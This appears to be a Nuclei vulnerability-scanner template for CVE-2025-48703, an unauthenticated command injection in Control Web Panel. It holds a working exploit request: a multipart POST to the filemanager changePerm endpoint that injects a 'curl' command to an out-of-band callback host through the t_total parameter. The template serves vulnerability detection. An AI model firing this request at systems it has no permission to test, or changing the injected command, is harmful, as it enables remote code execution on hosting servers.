id: CVE-2025-48703 info: name: "CWP - Command Injection" author: vedas-arpsyndicate severity: critical description: | CWP (aka Control Web Panel or CentOS Web Panel) before 0.9.8.1205 allows unauthenticated remote code execution via shell metacharacters in the t_total parameter in a filemanager changePerm request. A valid non-root username must be known. reference: - https://www.exploit.observer/?keyword=CVE-2025-48703&match=exact - https://subdomain.center/?engine=ammonites&keyword=cwp&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.0 cve-id: CVE-2025-48703 cwe-id: CWE-78 metadata: verified: false tags: cve,cve2025,cwp,cwpsrv,rce,intrusive,file-upload,oast,oob,vkev,kev,vuln flow: http(1) && http(2) http: - raw: - | GET /login/index.php HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - "status_code == 200" - "contains_all(body, 'Control WebPanel', 'cwp')" condition: and internal: true - raw: - | POST /{{username}}/index.php?module=filemanager&acc=changePerm HTTP/1.1 Host: {{hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/{{username}} ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" curl {{interactsh-url}} ------WebKitFormBoundaryrTrcHpS9ovyhBLtb matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: word part: interactsh_request words: - "User-Agent: curl"